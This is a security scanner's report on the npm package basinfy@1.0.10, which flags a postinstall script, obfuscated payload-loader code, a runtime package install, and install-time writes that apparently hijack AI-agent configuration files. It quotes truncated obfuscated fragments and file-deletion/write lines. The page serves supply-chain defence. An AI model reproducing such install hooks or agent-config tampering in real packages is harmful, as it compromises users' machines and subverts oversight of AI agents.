basinfy@1.0.10: Suspicious npm security report (Warn) | LPM Firewall

Loading npm security reports…

basinfy@1.0.10: Suspicious npm security report (Warn) | LPM Firewall

Source & flagged code

8 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

•scripts.postinstall = node scripts/postinstall.js

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/cli/mcp-config.jsView file

1Install-time code directly mutates a foreign AI-agent control surface: L1: 'use strict';const _0x2d6eae=_0x4b8e,_0xf2ff88=_0x34ea;function _0x2f28(){const _0x375df9=['W6FcGSkBWRJcSCo1','y3jLyxrL','lMnSyxvKzq','bCkVzmk8e2NdQJZdIIGtiW','yMfZAw5MEq','W4D8a8k... Write operation from scripts/postinstall.js: L64: fs.rmSync(pkgDir, { recursive: true, force: true }); L65: fs.mkdirSync(pkgDir, { recursive: true }); L66: fs.writeFileSync( L67: path.join(pkgDir, 'package.json'), ... L69: ); L70: fs.writeFileSync(indexPath, 'module.exports = {};\n'); L71: } ... L91: } else { L92: fs.writeFileSync(tensorJsPath, tensorContent, 'utf8'); L93: } Foreign user/project scope from scripts/postinstall.js: L64: fs.rmSync(pkgDir, { recursive: true, force: true }); L65: fs.mkdirSync(pkgDir, { recursive: true }); L

Critical

Ai Agent Control Hijack

Source creates an unconsented AI-agent control surface through install-time mutation or a default unauthenticated remote skill channel.

dist/cli/mcp-config.jsView on unpkg · L1

1'use strict';const _0x2d6eae=_0x4b8e,_0xf2ff88=_0x34ea;function _0x2f28(){const _0x375df9=['W6FcGSkBWRJcSCo1','y3jLyxrL','lMnSyxvKzq','bCkVzmk8e2NdQJZdIIGtiW','yMfZAw5MEq','W4D8a8k...

High

Child Process

Package source references child process execution.

dist/cli/mcp-config.jsView on unpkg · L1

bin/basinfy.jsView file

1#!/usr/bin/env node L2: const fs = require('fs'); L3: const path = require('path');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/basinfy.jsView on unpkg · L1

dist/core/neural-encoder.jsView file

1const _0x20fa14=_0x3294,_0x264cba=_0x4f5c;(function(_0xe6c6ac,_0x2b32f3){const _0x265483={_0x4ae716:0x201,_0x4a68f0:0x249,_0x44fbec:0x20d,_0x1c570d:'ysZY',_0x320db6:0x261,_0xff26cf...

High

Obfuscated Payload Loader

Source contains an obfuscated payload loader that reconstructs and executes hidden code.

dist/core/neural-encoder.jsView on unpkg · L1

dist/cli/mcp-config.js#virtual:normalized:round1View file

1"use strict";const _0x2d6eae=_0x4b8e,_0xf2ff88=_0x34ea;function _0x2f28(){const _0x375df9=["W6FcGSkBWRJcSCo1","y3jLyxrL","lMnSyxvKzq","bCkVzmk8e2NdQJZdIIGtiW","yMfZAw5MEq","W4D8a8k...

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/cli/mcp-config.js#virtual:normalized:round1View on unpkg · L1

dist/core-runtime/pkg/basinfy_core_bg.wasmView file

•path = dist/core-runtime/pkg/basinfy_core_bg.wasm kind = wasm_module sizeBytes = 40161 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

dist/core-runtime/pkg/basinfy_core_bg.wasmView on unpkg

Source & flagged code

8 flagged

package.jsonView file

Lines 38-78json

38 "build:release": "npm run build && node --max-old-space-size=16384 scripts/obfuscate-dist.js --no-spawn",

39 "verify:pack": "node scripts/verify-pack.js",

40 "pack:audit": "node scripts/pack-audit.js",

41 "pack:demo-full": "npm run build:release && node scripts/pack-demo-full.js",

42 "pack:full": "npm run build:release && node scripts/pack-full.js",

43 "pack:light": "npm run build:release && node scripts/pack-light.js",

44 "dev:cli": "node scripts/dev-cli.js",

45 "build:mcp": "cd packages/mcp-server && npm run build",

46 "start": "ts-node src/cli/index.ts",

47 "test": "jest",

48 "benchmark": "ts-node scripts/benchmark.ts",

49 "benchmark:run": "ts-node benchmarks/runner/index.ts",

50 "benchmark:react": "ts-node benchmarks/runner/index.ts --dataset react --K 10",

51 "benchmark:recall-at-k": "ts-node scripts/benchmark-recall-at-k.ts",

52 "benchmark:recall-canvas": "ts-node scripts/generate-recall-canvas-data.ts",

53 "benchmark:calibrate": "ts-node scripts/calibrate-hybrid-weights.ts",

54 "benchmark:calibrate:es": "ts-node scripts/calibrate-es.ts",

55 "benchmark:train:full": "ts-node scripts/train-calibrate-full.ts",

56 "evolve:online": "ts-node scripts/evolve-online.ts",

57 "prepublishOnly": "npm run build:release && npm run verify:pack && npm run pack:audit",

58 "postinstall": "node scripts/postinstall.js",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L58

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L58

59 "dev": "ts-node-dev --respawn --transpile-only src/cli/index.ts",

60 "sbom": "node scripts/generate-sbom.js",

61 "sbom:xml": "node scripts/generate-sbom.js --format xml"

62 },

63 "keywords": [

64 "ai",

65 "agents",

66 "code-indexing",

67 "knowledge-graph",

68 "claude",

69 "copilot",

70 "cursor",

71 "context-compression",

72 "token-savings"

73 ],

74 "author": "Alex Martins",

75 "license": "SEE LICENSE IN LICENSE",

76 "repository": {

77 "type": "git",

78 "url": "https://basinfy.com"

dist/cli/mcp-config.jsView file

Lines 1-1javascript

1'use strict';const _0x2d6eae=_0x4b8e,_0xf2ff88=_0x34ea;function _0x2f28(){const _0x375df9=['W6FcGSkBWRJcSCo1','y3jLyxrL','lMnSyxvKzq','bCkVzmk8e2NdQJZdIIGtiW','yMfZAw5MEq',

bin/basinfy.jsView file

Lines 1-16javascript

1#!/usr/bin/env node

2const fs = require('fs');

3const path = require('path');

Medium

Dynamic Require

Package source references dynamic require/import behavior.

bin/basinfy.jsView on unpkg · L1

dist/core/neural-encoder.jsView file

Lines 1-1javascript

1const _0x20fa14=_0x3294,_0x264cba=_0x4f5c;(function(_0xe6c6ac,_0x2b32f3){const _0x265483={_0x4ae716:0x201,_0x4a68f0:0x249,_0x44fbec:0x20d,_0x1c570d:'ysZY',_0x320db6:0x261

dist/cli/mcp-config.js#virtual:normalized:round1View file

1"use strict";const _0x2d6eae=_0x4b8e,_0xf2ff88=_0x34ea;function _0x2f28(){const _0x375df9=["W6FcGSkBWRJcSCo1","y3jLyxrL","lMnSyxvKzq","bCkVzmk8e2NdQJZdIIGtiW","yMfZAw5MEq","W4D8a8k...

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

dist/cli/mcp-config.js#virtual:normalized:round1View on unpkg · L1

dist/core-runtime/pkg/basinfy_core_bg.wasmView file

•path = dist/core-runtime/pkg/basinfy_core_bg.wasm kind = wasm_module sizeBytes = 40161 magicHex = [redacted]

Medium

Ships Wasm Module

Package ships WebAssembly modules.

dist/core-runtime/pkg/basinfy_core_bg.wasmView on unpkg